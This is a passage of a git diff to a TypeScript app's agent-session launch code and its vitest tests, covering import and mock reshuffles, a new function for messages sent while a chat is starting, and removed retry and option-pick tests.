--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-join-delivery.test.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-join-delivery.test.ts
@@ -1,13 +1,17 @@
 // @vitest-environment happy-dom
 // @vitest-environment happy-dom
 import { readNativeChatComposerDraft } from '@/components/native-chat/drafts/native-chat-composer-draft-store'
-// @vitest-environment happy-dom
 import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope'
-
-import type * as LaunchErrors from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
 import { beforeEach, describe, expect, it, vi } from 'vitest'
+import { refreshLocalStructuredSessionTabs } from '@/runtime/local-structured-session-tabs-sync/inventory-refresh'
+import { startStructuredAgentLaunch } from './structured-agent-session-launch'
+import { hasStagedStructuredLaunchPrompt } from './structured-agent-session-staged-prompt'
+import type * as LaunchErrors from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
 import type { RuntimeMobileSessionTabsResult } from '../../../../../shared/runtime-session-contracts'
 import type * as RecoveryModule from '@/lib/agent-session/launch/structured-agent-session-launch-recovery'
+import type { StructuredAgentSessionLaunchIntent } from '@/lib/agent-session/launch/structured-agent-session-launch-intent'
+import type { StructuredAgentLaunchOptions } from './structured-agent-session-launch-callers'
+// @vitest-environment happy-dom
 
 const mocks = vi.hoisted(() => ({
   abandonIntent: vi.fn(),
@@ -39,16 +43,19 @@ vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-create-call'
   launchStructuredAgentSession: mocks.launch
 }))
 
-vi.mock('@/lib/launch-structured-agent-session', () => {
+vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-intent', () => {
   return {
     createStructuredAgentSessionLaunchIntent: mocks.createIntent,
-    abandonStructuredAgentSessionLaunchIntent: mocks.abandonIntent,
     launchStructuredAgentSession: mocks.launch,
     StructuredAgentSessionCreateRefusalError:
       launchErrorMocks.StructuredAgentSessionCreateRefusalError
   }
 })
 
+vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-abandon', () => ({
+  abandonStructuredAgentSessionLaunchIntent: mocks.abandonIntent
+}))
+
 vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-recovery', async () => {
   const actual = await vi.importActual<typeof RecoveryModule>(
     '@/lib/agent-session/launch/structured-agent-session-launch-recovery'
@@ -96,12 +103,6 @@ vi.mock('@/lib/agent-catalog/agent-catalog', () => ({
   getAgentCatalog: () => [{ id: 'codex', label: 'Codex' }]
 }))
 
-import type { StructuredAgentSessionLaunchIntent } from '@/lib/launch-structured-agent-session'
-import { refreshLocalStructuredSessionTabs } from '@/runtime/local-structured-session-tabs-sync/inventory-refresh'
-import { startStructuredAgentLaunch } from './structured-agent-session-launch'
-import type { StructuredAgentLaunchOptions } from './structured-agent-session-launch-callers'
-import { hasStagedStructuredLaunchPrompt } from './structured-agent-session-launch-prompt'
-
 function launchIntent(worktreeId: string, sessionId: string): StructuredAgentSessionLaunchIntent {
   return {
     worktreeId,
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-lifecycle.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-lifecycle.ts
index b905d9d12f4..b95fc2600d4 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-lifecycle.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-lifecycle.ts
@@ -1,7 +1,5 @@
-import type {
-  StructuredLaunchState,
-  StructuredAgentSessionLaunchLifecycle
-} from './structured-agent-session-launch-registry'
+import type { StructuredAgentSessionLaunchLifecycle } from './structured-agent-session-launch-registry'
+import type { StructuredLaunchState } from './structured-agent-session-launch-state-store'
 
 export function launchStateLifecycle(
   state: StructuredLaunchState
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-message.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-message.ts
index 77003984d1c..de782c68a8f 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-message.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-message.ts
@@ -1,18 +1,19 @@
 // A message sent to a chat whose start failed: it restarts the chat and goes as the restart's first
 // message, holding the chat's one send slot from now until the chat exists, as a launch prompt does.
 
-import { addStructuredLaunchCaller } from './structured-agent-session-launch-callers'
 import {
-  stageStructuredLaunchPrompt,
+  addStructuredLaunchCaller,
   type StructuredPromptDeliveryResult
-} from './structured-agent-session-launch-prompt'
-import {
-  getStructuredAgentSessionLaunchLifecycle,
-  getStructuredLaunchStateBySessionId
-} from './structured-agent-session-launch-registry'
+} from './structured-agent-session-launch-callers'
+import { stageStructuredLaunchPrompt } from './structured-agent-session-staged-prompt'
+
+import { getStructuredAgentSessionLaunchLifecycle } from './structured-agent-session-launch-registry'
+import { getStructuredLaunchStateBySessionId } from './structured-agent-session-launch-state-store'
 import { retryStructuredAgentSessionLaunch } from './structured-agent-session-launch'
 import { newAgentLaunchRequestId } from './routing/agent-launch-request-id'
 import { trackStructuredLaunchPromptOutcome } from './structured-agent-session-launch-prompt-outcome'
+import { structuredAgentSessionLaunchHasRetainedInput } from './structured-agent-session-launch-input'
+import { structuredAgentSessionSendOut } from '@/components/native-chat/session/structured/delivery/structured-agent-session-pending-sends'
 
 /** Null when the chat's start has not failed, or its restart could not begin. */
 export function relaunchFailedStructuredAgentSessionWithMessage(
@@ -41,3 +42,39 @@ export function relaunchFailedStructuredAgentSessionWithMessage(
   trackStructuredLaunchPromptOutcome(state, caller)
   return caller.promptDeliveryResult ?? null
 }
+
+/** A message sent while the chat starts: rides create if it is not yet prepared, else goes once the chat exists.
+ *  Null when the chat is not starting or its one send slot is taken. */
+export function sendMessageToStartingStructuredAgentSession(
+  worktreeId: string,
+  sessionId: string,
+  text: string
+): Promise<StructuredPromptDeliveryResult> | null {
+  const lifecycle = getStructuredAgentSessionLaunchLifecycle(worktreeId, sessionId)
+  const starting =
+    lifecycle === 'pending' ||
+    (lifecycle === 'visibility-unknown' &&
+      !structuredAgentSessionLaunchHasRetainedInput(worktreeId, sessionId))
+  const state = getStructuredLaunchStateBySessionId(sessionId)
+  if (!starting || !state || structuredAgentSessionSendOut(sessionId)) {
+    return null
+  }
+  // Typed before the agent could answer, so it waits behind any opening turn instead of steering it.
+  const stagedPrompt = stageStructuredLaunchPrompt(sessionId, text, { delivery: 'queue-if-active' })
+  if (!stagedPrompt.slot) {
+    return null
+  }
+  const createWillCarry = !state.intent.createPrepared
+  const caller = addStructuredLaunchCaller({
+    group: state.callers,
+    launchResult: state.promise,
+    target: state.intent.target,
+    options: { requestId: newAgentLaunchRequestId(), prompt: text },
+    stagedPrompt
+  })
+  // Only an opening message decides the launch; a later one coming back must not fail the chat.
+  if (createWillCarry) {
+    trackStructuredLaunchPromptOutcome(state, caller)
+  }
+  return caller.promptDeliveryResult ?? null
+}
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-opening-retry.test.tsx b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-opening-retry.test.tsx
deleted file mode 100644
index af310846b7a..00000000000
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-opening-retry.test.tsx
+++ /dev/null
@@ -1,306 +0,0 @@
-// @vitest-environment happy-dom
-import { newAgentLaunchRequestId } from './routing/agent-launch-request-id'
-import { afterEach, beforeEach, expect, it, vi } from 'vitest'
-import { act, cleanup, fireEvent, render, screen } from '@testing-library/react'
-import {
-  mocks,
-  resetCreateMessageFixture,
-  cleanupCreateMessageFixture,
-  createParams,
-  created,
-  submission,
-  start,
-  draft,
-  deferred
-} from './structured-agent-session-launch-create-message.test-fixture'
-import {
-  startStructuredAgentLaunch,
-  retryStructuredAgentSessionLaunch,
-  cancelStructuredAgentLaunch
-} from './structured-agent-session-launch'
-import {
-  getStructuredLaunchStateBySessionId,
-  getStructuredAgentSessionLaunchLifecycle,
-  resetStructuredAgentLaunchRegistryForTests,
-  getStructuredAgentSessionLaunchFailure,
-  subscribeStructuredAgentLaunchStatus
-} from './structured-agent-session-launch-registry'
-import {
-  resetStructuredAgentLaunchPersistenceForTests,
-  readStructuredAgentLaunchRecord
-} from './structured-agent-session-launch-persistence'
-import { recheckUnconfirmedStructuredAgentLaunches } from './structured-agent-session-launch-unconfirmed-recheck'
-import { markStructuredAgentSessionLaunchPublished } from './structured-agent-session-launch-publication'
-import {
-  settleStructuredAgentSessionSendsFromJournal,
-  resetStructuredAgentSessionSendsForTests
-} from '@/components/native-chat/session/structured/delivery/structured-agent-session-message-sender'
-import { getStructuredAgentSessionPendingSends } from '@/components/native-chat/session/structured/delivery/structured-agent-session-pending-sends'
-import { useNativeChatProvisionalLaunch } from '@/components/native-chat/host-access/use-native-chat-provisional-launch'
-import { structuredSessionNotices } from '../../../components/native-chat/messages/notices/native-chat-structured-session-notices'
-import { NativeChatComposerNotices } from '@/components/native-chat/composer/controls/NativeChatComposerNotices'
-import { writeNativeChatDraftCache } from '@/components/native-chat/drafts/native-chat-draft-views'
-import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope'
-import { CreateIntentParams } from '../../../../../shared/rpc-contract/structured-agent-session-params'
-
-let restore: (() => void) | undefined
-beforeEach(() => {
-  mocks.settings = {}
-  restore = resetCreateMessageFixture()
-})
-afterEach(() => {
-  cleanup()
-  cleanupCreateMessageFixture(restore)
-})
-
-function LaunchNotice({ sessionId }: { sessionId: string }) {
-  const launch = useNativeChatProvisionalLaunch('workspace-1', sessionId)
-  return (
-    <NativeChatComposerNotices
-      notices={structuredSessionNotices({
-        launch,
-        agentLabel: 'Codex',
-        sessionError: null,
-        composerError: null
-      })}
-    />
-  )
-}
-
-it.each(['memory', 'disk'])(
-  'retries an absent opening with its frozen payload after %s recovery',
-  async (source) => {
-    mocks.settings = { nativeChatSessionOptions: { codex: { model: 'saved-model' } } }
-    mocks.call.mockRejectedValue(new Error('connection lost before delivery'))
-    const launch = start()
-    await expect(launch.launchResult).rejects.toThrow()
-    await expect(launch.promptDeliveryResult).resolves.toMatchObject({ unconfirmed: true })
-    const original = createParams()
-    if (source === 'disk') {
-      resetStructuredAgentLaunchRegistryForTests()
-      resetStructuredAgentLaunchPersistenceForTests()
-      resetStructuredAgentSessionSendsForTests()
-    }
-    mocks.settings = { nativeChatSessionOptions: { codex: { model: 'changed-model' } } }
-    mocks.supports.mockResolvedValue(false)
-    mocks.call.mockImplementation(async (_target, method, params) => {
-      if (method !== 'agentSession.create') {
-        throw new Error('no host record')
-      }
-      return created(CreateIntentParams.parse(params))
-    })
-    markStructuredAgentSessionLaunchPublished('workspace-1', launch.sessionId, 'local')
-    recheckUnconfirmedStructuredAgentLaunches('local')
-    await vi.advanceTimersByTimeAsync(0)
-    expect(getStructuredAgentSessionLaunchLifecycle('workspace-1', launch.sessionId)).toBe(
-      'visibility-unknown'
-    )
-    expect(
-      mocks.call.mock.calls
-        .filter(([, method]) => method === 'agentSession.create')
-        .map(([, , params]) => params)
-    ).toEqual([original])
-    expect(retryStructuredAgentSessionLaunch('workspace-1', launch.sessionId)).toBe(true)
-    await getStructuredLaunchStateBySessionId(launch.sessionId)?.promise
-    const attempts = mocks.call.mock.calls
-      .filter(([, method]) => method === 'agentSession.create')
-      .map(([, , params]) => CreateIntentParams.parse(params))
-    expect(attempts[1]).toEqual({
-      ...original,
-      envelope: { ...original.envelope, clientOperationId: expect.any(String) }
-    })
-    expect(attempts[1]?.envelope.clientOperationId).not.toBe(original.envelope.clientOperationId)
-    expect(readStructuredAgentLaunchRecord(launch.sessionId)).toBeUndefined()
-    expect(getStructuredAgentSessionPendingSends(launch.sessionId)).toEqual([])
-    expect(draft(launch.sessionId)).toBe('')
-    mocks.settings = {}
-  }
-)
-
-it.each([
-  { cancel: false, proof: 'journal' },
-  { cancel: true, proof: 'journal' },
-  { cancel: false, proof: 'receipt' },
-  { cancel: true, proof: 'receipt' }
-])(
-  'keeps uncertain input through refusal, then accepts late $proof (cancel=$cancel)',
-  async ({ cancel, proof }) => {
-    const first = deferred<unknown>()
-    mocks.call.mockReturnValue(first.promise)
-    const launch = start()
-    await vi.waitFor(() => expect(createParams().firstMessage).toBeDefined())
-    const original = createParams()
-    await vi.advanceTimersByTimeAsync(30_000)
-    await expect(launch.promptDeliveryResult).resolves.toMatchObject({ unconfirmed: true })
-    writeNativeChatDraftCache(structuredAgentSessionDraftScopeKey(launch.sessionId), 'newer draft')
-    const refusal = {
-      ok: false,
-      refusal: {
-        code: 'agent_session_operation_invalid',
-        ownerVerdict: 'exited',
-        details: { reason: 'cliMissing' }
-      }
-    }
-    mocks.call.mockResolvedValue(refusal)
-    render(<LaunchNotice sessionId={launch.sessionId} />)
-    await act(async () => {
-      fireEvent.click(screen.getByRole('button', { name: 'Retry' }))
-      await getStructuredLaunchStateBySessionId(launch.sessionId)?.promise.catch(() => {})
-    })
-    expect(screen.getByRole('button', { name: 'Retry' })).toBeTruthy()
-    expect(
-      getStructuredAgentSessionLaunchFailure('workspace-1', launch.sessionId)?.details?.reason
-    ).toBe('cliMissing')
-    expect(readStructuredAgentLaunchRecord(launch.sessionId)?.lifecycle).toBe('visibility-unknown')
-    expect(draft(launch.sessionId)).toBe('newer draft')
-    const row = submission(original.firstMessage!.clientMessageId)
-    await act(async () => {
-      settleStructuredAgentSessionSendsFromJournal(launch.sessionId, [submission('unrelated')], [])
-    })
-    expect(getStructuredAgentSessionLaunchLifecycle('workspace-1', launch.sessionId)).toBe(
-      'visibility-unknown'
-    )
-    if (cancel) {
-      await act(async () => {
-        cancelStructuredAgentLaunch('workspace-1', launch.sessionId)
-      })
-    }
-    const lateNotifications = vi.fn()
-    const stopWatching = subscribeStructuredAgentLaunchStatus(lateNotifications)
-    const lateWrites = vi.spyOn(localStorage, 'setItem')
-    lateWrites.mockClear()
-    await act(async () => {
-      if (proof === 'receipt') {
-        const success = created(original)
-        first.resolve({
-          ...success,
-          value: {
-            ...success.value,
-            firstMessage: row,
-            page: { ...success.value.page, submissions: [submission('unrelated')] }
-          }
-        })
-      } else {
-        // A superseded refusal cannot hand back the held opening.
-        first.resolve(refusal)
-        await vi.advanceTimersByTimeAsync(0)
-        expect(draft(launch.sessionId)).toBe('newer draft')
-        settleStructuredAgentSessionSendsFromJournal(launch.sessionId, [row], [])
-      }
-      await vi.advanceTimersByTimeAsync(0)
-    })
-    if (cancel && proof === 'receipt') {
-      expect(lateNotifications).not.toHaveBeenCalled()
-      expect(
-        lateWrites.mock.calls.filter(([key]) => key === 'orca:structuredAgentLaunches:v1')
-      ).toHaveLength(0)
-    }
-    stopWatching()
-    lateWrites.mockRestore()
-    expect(getStructuredAgentSessionLaunchLifecycle('workspace-1', launch.sessionId)).toBe(
-      cancel ? 'cancelled' : 'published'
-    )
-    expect(draft(launch.sessionId)).toBe('newer draft')
-    if (!cancel) {
-      expect(screen.queryByRole('button', { name: 'Retry' })).toBeNull()
-      expect(readStructuredAgentLaunchRecord(launch.sessionId)).toBeUndefined()
-      expect(getStructuredAgentSessionPendingSends(launch.sessionId)).toEqual([])
-    }
-  }
-)
-
-it('persists refusal-time custody across reload and offers Retry without handing the opening back', async () => {
-  mocks.call.mockRejectedValue(new Error('answer lost'))
-  const launch = start()
-  await expect(launch.launchResult).rejects.toThrow()
-  await launch.promptDeliveryResult
-  const original = createParams()
-  mocks.admit.mockResolvedValue({ kind: 'declined', reason: 'remote' })
-  retryStructuredAgentSessionLaunch('workspace-1', launch.sessionId)
-  await getStructuredLaunchStateBySessionId(launch.sessionId)?.promise.catch(() => {})
-  resetStructuredAgentLaunchRegistryForTests()
-  resetStructuredAgentLaunchPersistenceForTests()
-  resetStructuredAgentSessionSendsForTests()
-  render(<LaunchNotice sessionId={launch.sessionId} />)
-  expect(getStructuredAgentSessionPendingSends(launch.sessionId)).toMatchObject([
-    { clientMessageId: original.firstMessage!.clientMessageId, phase: 'unconfirmed' }
-  ])
-  mocks.admit.mockResolvedValue({ kind: 'admitted' })
-  mocks.call.mockImplementation(async (_target, _method, params) =>
-    created(CreateIntentParams.parse(params))
-  )
-  await act(async () => {
-    fireEvent.click(screen.getByRole('button', { name: 'Retry' }))
-    await getStructuredLaunchStateBySessionId(launch.sessionId)?.promise
-  })
-  expect(draft(launch.sessionId)).toBe('')
-})
-
-it('keeps empty-create uncertainty separate from current opening-refusal guidance', async () => {
-  mocks.call.mockResolvedValue({
-    ok: false,
-    refusal: {
-      code: 'agent_session_conflict',
-      details: { reason: 'sessionExists' }
-    }
-  })
-  const launch = startStructuredAgentLaunch('workspace-1', 'codex', {
-    requestId: newAgentLaunchRequestId(),
-    executionHostId: 'local'
-  })
-  await expect(launch.launchResult).rejects.toThrow()
-  expect(getStructuredAgentSessionLaunchLifecycle('workspace-1', launch.sessionId)).toBe(
-    'visibility-unknown'
-  )
-  expect(getStructuredAgentSessionLaunchFailure('workspace-1', launch.sessionId)).toBeNull()
-})
-
-it('coalesces re-delivery of an uncertain action before, during and after its requested Retry', async () => {
-  mocks.call.mockReturnValue(new Promise(() => {}))
-  const options = {
-    requestId: newAgentLaunchRequestId(),
-    executionHostId: 'local' as const,
-    prompt: 'opening text'
-  }
-  const launch = startStructuredAgentLaunch('workspace-1', 'codex', options)
-  await vi.waitFor(() => expect(mocks.call).toHaveBeenCalledOnce())
-  const original = createParams()
-  await vi.advanceTimersByTimeAsync(30_000)
-  await expect(launch.launchResult).rejects.toThrow('Opening message outcome unknown.')
-  const joined = startStructuredAgentLaunch('workspace-1', 'codex', options)
-  expect(joined.sessionId).toBe(launch.sessionId)
-  await expect(joined.launchResult).rejects.toThrow('Opening message outcome unknown.')
-  expect(getStructuredAgentSessionPendingSends(launch.sessionId)).toHaveLength(1)
-  expect(readStructuredAgentLaunchRecord(launch.sessionId)?.firstMessage).toEqual(
-    original.firstMessage
-  )
-  expect(mocks.call.mock.calls.map(([, method]) => method)).toEqual(['agentSession.create'])
-  const retry = deferred<unknown>()
-  mocks.call.mockImplementation((_target, method) =>
-    method === 'agentSession.create' ? retry.promise : Promise.reject(new Error('no record'))
-  )
-  expect(retryStructuredAgentSessionLaunch('workspace-1', launch.sessionId)).toBe(true)
-  await vi.waitFor(() =>
-    expect(
-      mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.create')
-    ).toHaveLength(2)
-  )
-  const during = startStructuredAgentLaunch('workspace-1', 'codex', options)
-  expect(during.sessionId).toBe(launch.sessionId)
-  expect(during.joined).toBe(true)
-  retry.resolve({
-    ok: false,
-    refusal: { code: 'structured_agent_session_unsupported' }
-  })
-  await getStructuredLaunchStateBySessionId(launch.sessionId)?.promise.catch(() => {})
-  const after = startStructuredAgentLaunch('workspace-1', 'codex', options)
-  expect(after.sessionId).toBe(launch.sessionId)
-  expect(after.joined).toBe(true)
-  await vi.advanceTimersByTimeAsync(0)
-  expect(
-    mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.create')
-  ).toHaveLength(2)
-  expect(getStructuredAgentSessionPendingSends(launch.sessionId)).toMatchObject([
-    { clientMessageId: original.firstMessage!.clientMessageId, phase: 'unconfirmed' }
-  ])
-})
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-options.test.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-options.test.ts
index 2759c14d142..5d4d9e82e59 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-options.test.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-options.test.ts
@@ -1,11 +1,23 @@
 import { useAppStore } from '@/store/index'
-// @vitest-environment happy-dom
-
-import type * as LaunchErrors from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { RuntimeMobileSessionTabsResult } from '../../../../../shared/runtime-session-contracts'
-import type { StructuredAgentSessionLaunchIntent } from '@/lib/launch-structured-agent-session'
 import { RuntimeRpcCallError } from '@/runtime/rpc/calls/runtime-rpc-result'
+import '@/lib/agent-session/launch/structured-agent-session-launch-errors'
+import type * as LaunchErrors from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
+import { refreshLocalStructuredSessionTabs } from '@/runtime/local-structured-session-tabs-sync/inventory-refresh'
+import { startStructuredAgentLaunch } from './structured-agent-session-launch'
+import { resetStructuredAgentLaunchRegistryForTests } from './structured-agent-session-launch-registry'
+import { holdStructuredAgentSessionLaunchOption } from './structured-agent-session-launch-options'
+import { resetStructuredAgentLaunchPersistenceForTests } from './structured-agent-session-launch-persistence'
+import './structured-agent-session-launch-publication'
+import {
+  registerStructuredSelectionCatalogStore,
+  forgetStructuredSessionSelection
+} from '../options/structured-agent-session-selection-controller'
+import '../../../../../shared/agent-session/options/agent-session-option-catalog-claude-codex'
+import '../../../../../shared/agent-session/options/structured-agent-session-options'
+import type { RuntimeMobileSessionTabsResult } from '../../../../../shared/runtime-session-contracts'
+import type { StructuredAgentSessionLaunchIntent } from '@/lib/agent-session/launch/structured-agent-session-launch-intent'
+// @vitest-environment happy-dom
 
 type CallParams = {
   envelope?: { expectedRuntimeFence?: number | null }
@@ -46,18 +58,21 @@ vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-create-call'
   launchStructuredAgentSession: mocks.launch
 }))
 
-vi.mock('@/lib/launch-structured-agent-session', () => {
+vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-intent', () => {
   return {
     createStructuredAgentSessionLaunchIntent: mocks.createIntent,
     retryStructuredAgentSessionLaunchIntent: mocks.retryIntent,
     restoreStructuredAgentSessionLaunchIntent: vi.fn(),
-    abandonStructuredAgentSessionLaunchIntent: vi.fn(),
     launchStructuredAgentSession: mocks.launch,
     StructuredAgentSessionCreateRefusalError:
       launchErrorMocks.StructuredAgentSessionCreateRefusalError
   }
 })
 
+vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-abandon', () => ({
+  abandonStructuredAgentSessionLaunchIntent: vi.fn()
+}))
+
 vi.mock('@/runtime/local-structured-session-tabs-sync/inventory-refresh', () => ({
   refreshLocalStructuredSessionTabs: vi.fn()
 }))
@@ -87,36 +102,6 @@ vi.mock('@/lib/agent-catalog/agent-catalog', () => ({
   getAgentCatalog: () => [{ id: 'codex', label: 'Codex' }]
 }))
 
-import { StructuredAgentSessionCreateRefusalError } from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
-import { refreshLocalStructuredSessionTabs } from '@/runtime/local-structured-session-tabs-sync/inventory-refresh'
-import {
-  cancelStructuredAgentLaunch,
-  retryStructuredAgentSessionLaunch,
-  startStructuredAgentLaunch
-} from './structured-agent-session-launch'
-import {
-  getStructuredAgentSessionLaunchLifecycle,
-  resetStructuredAgentLaunchRegistryForTests
-} from './structured-agent-session-launch-registry'
-import {
-  getStructuredAgentSessionLaunchSelection,
-  holdStructuredAgentSessionLaunchOption
-} from './structured-agent-session-launch-options'
-import { resetStructuredAgentLaunchPersistenceForTests } from './structured-agent-session-launch-persistence'
-import { markStructuredAgentSessionLaunchPublished } from './structured-agent-session-launch-publication'
-import {
-  registerStructuredSelectionCatalogStore,
-  structuredSessionSelectionController,
-  forgetStructuredSessionSelection
-} from '../options/structured-agent-session-selection-controller'
-
-import { CLAUDE_SESSION_OPTION_CATALOG } from '../../../../../shared/agent-session/options/agent-session-option-catalog-claude-codex'
-import {
-  applyStructuredAgentSessionModelCatalog,
-  applyStructuredAgentSessionOptions,
-  createStructuredAgentSessionOptionState
-} from '../../../../../shared/agent-session/options/structured-agent-session-options'
-
 const WORKTREE_ID = 'wt-1'
 const SESSION_ID = 'session-1'
 
@@ -168,7 +153,7 @@ function deferred<T>(): Deferred<T> {
   return { promise, resolve }
 }
 
-const ACCEPTED = { ok: true, value: { key: 'model', value: 'x' } }
+void { ok: true, value: { key: 'model', value: 'x' } }
 
 function mutations(): { method: string; fence?: unknown; key?: unknown; value?: unknown }[] {
   return mocks.call.mock.calls
@@ -185,10 +170,6 @@ function mutations(): { method: string; fence?: unknown; key?: unknown; value?:
     )
 }
 
-function lifecycle() {
-  return getStructuredAgentSessionLaunchLifecycle(WORKTREE_ID, SESSION_ID)
-}
-
 async function settle(): Promise<void> {
   for (let i = 0; i < 20; i += 1) {
     await Promise.resolve()
@@ -234,146 +215,6 @@ describe('picks made while a chat launches', () => {
     })
   })
 
-  it('applies them against the receipt fence before the first turn and before publishing', async () => {
-    const created = deferred<{ sessionId: string; fence: number }>()
-    mocks.launch.mockReturnValue(created.promise)
-    const launch = startStructuredAgentLaunch(WORKTREE_ID, 'codex', {
-      requestId: 'request-1',
-      prompt: 'first turn'
-    })
-
-    const modelPick = holdStructuredAgentSessionLaunchOption(SESSION_ID, 'model', 'gpt-picked')
-    holdStructuredAgentSessionLaunchOption(SESSION_ID, 'effort', 'high')
-    created.resolve({ sessionId: SESSION_ID, fence: 7 })
-    await settle()
-
-    // The host published the tab, but the launch is not published until its picks land.
-    markStructuredAgentSessionLaunchPublished(WORKTREE_ID, SESSION_ID, 'local')
-    expect(lifecycle()).toBe('pending')
-    expect(mutations()).toEqual([
-      { method: 'agentSession.setOption', fence: 7, key: 'model', value: 'gpt-picked' },
-      { method: 'agentSession.setOption', fence: 7, key: 'effort', value: 'high' }
-    ])
-    setOptionReplies[0]!.resolve({
-      ok: true,
-      value: { key: 'model', value: 'gpt-picked', options: { model: 'gpt-picked' } }
-    })
-    await expect(modelPick).resolves.toEqual({
-      kind: 'accepted',
-      options: { model: 'gpt-picked' }
-    })
-    await settle()
-    expect(lifecycle()).toBe('pending')
-    setOptionReplies[1]!.resolve(ACCEPTED)
-    await launch.promptDeliveryResult
-
-    expect(mutations()).toEqual([
-      { method: 'agentSession.setOption', fence: 7, key: 'model', value: 'gpt-picked' },
-      { method: 'agentSession.setOption', fence: 7, key: 'effort', value: 'high' },
-      { method: 'agentSession.send' }
-    ])
-    expect(lifecycle()).toBeNull()
-  })
-
-  it.each([
-    { chat: 'a resumed conversation', resumed: true, adopts: { adoptModelAsLaunchDefault: false } },
-    { chat: 'a new chat', resumed: false, adopts: {} }
-  ])('remembers a held effort in $chat under its versioned model', async ({ resumed, adopts }) => {
-    const created = deferred<{ sessionId: string; fence: number }>()
-    mocks.launch.mockReturnValue(created.promise)
-    const intent = launchIntent()
-    mocks.createIntent.mockReturnValueOnce({
-      ...intent,
-      agent: 'claude',
-      params: {
-        ...intent.params,
-        ...(resumed ? { resumeFrom: { providerSessionId: 'claude-session-1' } } : {})
-      }
-    })
-    startStructuredAgentLaunch(WORKTREE_ID, 'claude', { requestId: 'request-1', prompt: 'first' })
-    // The listing keys the row by the id Claude runs, the same id a chat saves; `opus` is its alias.
-    const efforts = [
-      { value: 'low', label: 'Low' },
-      { value: 'high', label: 'High' }
-    ]
-    const rows = [
-      {
-        id: 'claude-opus-5-5',
-        label: 'Claude Opus 5.5',
-        resolvedModel: 'claude-opus-5-5',
-        isDefault: false,
-        efforts
-      },
-      {
-        id: 'opus',
-        label: 'Opus alias',
-        resolvedModel: 'claude-opus-5-5',
-        isDefault: false,
-        efforts
-      }
-    ]
-    const picker = applyStructuredAgentSessionOptions(
-      applyStructuredAgentSessionModelCatalog(
-        createStructuredAgentSessionOptionState('claude', CLAUDE_SESSION_OPTION_CATALOG),
-        CLAUDE_SESSION_OPTION_CATALOG,
-        { origin: 'probe', fetchedAt: 1, models: rows },
-        { newLaunch: !resumed, coherentCatalog: true }
-      ),
-      CLAUDE_SESSION_OPTION_CATALOG,
-      { models: rows, current: { model: 'claude-opus-5-5', effort: 'low' } },
-      { newLaunch: !resumed, coherentCatalog: true }
-    )
-    const pick = holdStructuredAgentSessionLaunchOption(SESSION_ID, 'effort', 'high', picker)
-    created.resolve({ sessionId: SESSION_ID, fence: 7 })
-    await settle()
-    setOptionReplies[0]!.resolve({ ok: true, value: { key: 'effort', value: 'high' } })
-    await expect(pick).resolves.toMatchObject({ kind: 'accepted' })
-    await settle()
-    expect(mocks.settingsWrite).toHaveBeenLastCalledWith(expect.anything(), {
-      type: 'apply-picks',
-      agent: 'claude',
-      picks: [{ modelId: 'claude-opus-5-5', optionId: 'effort', value: 'high', ...adopts }]
-    })
-  })
-
-  it('applies a pick made while the earlier ones are being applied', async () => {
-    mocks.launch.mockResolvedValue({ sessionId: SESSION_ID, fence: 1 })
-    const launch = startStructuredAgentLaunch(WORKTREE_ID, 'codex', { requestId: 'request-2' })
-    holdStructuredAgentSessionLaunchOption(SESSION_ID, 'model', 'gpt-picked')
-    await settle()
-    expect(setOptionReplies).toHaveLength(1)
-
-    holdStructuredAgentSessionLaunchOption(SESSION_ID, 'model', 'gpt-repicked')
-    setOptionReplies[0]!.resolve(ACCEPTED)
-    await settle()
-    expect(lifecycle()).toBe('pending')
-    setOptionReplies[1]!.resolve(ACCEPTED)
-    await launch.launchResult
-
-    expect(mutations().map((mutation) => mutation.value)).toEqual(['gpt-picked', 'gpt-repicked'])
-  })
-
-  it('keeps a held tier across a model pick whose catalog does not offer it', async () => {
-    const created = deferred<{ sessionId: string; fence: number }>()
-    mocks.launch.mockReturnValue(created.promise)
-    const launch = startStructuredAgentLaunch(WORKTREE_ID, 'codex', { requestId: 'request-tier' })
-    const tierPick = holdStructuredAgentSessionLaunchOption(SESSION_ID, 'serviceTier', 'priority')
-    holdStructuredAgentSessionLaunchOption(SESSION_ID, 'model', 'gpt-nofast')
-    created.resolve({ sessionId: SESSION_ID, fence: 3 })
-    await settle()
-    expect(setOptionReplies).toHaveLength(2)
-    for (const reply of setOptionReplies) {
-      reply.resolve(ACCEPTED)
-    }
-    await expect(tierPick).resolves.toMatchObject({ kind: 'accepted' })
-    await launch.launchResult
-
-    expect(mutations().map(({ key, value }) => [key, value])).toEqual([
-      ['model', 'gpt-nofast'],
-      ['serviceTier', 'priority']
-    ])
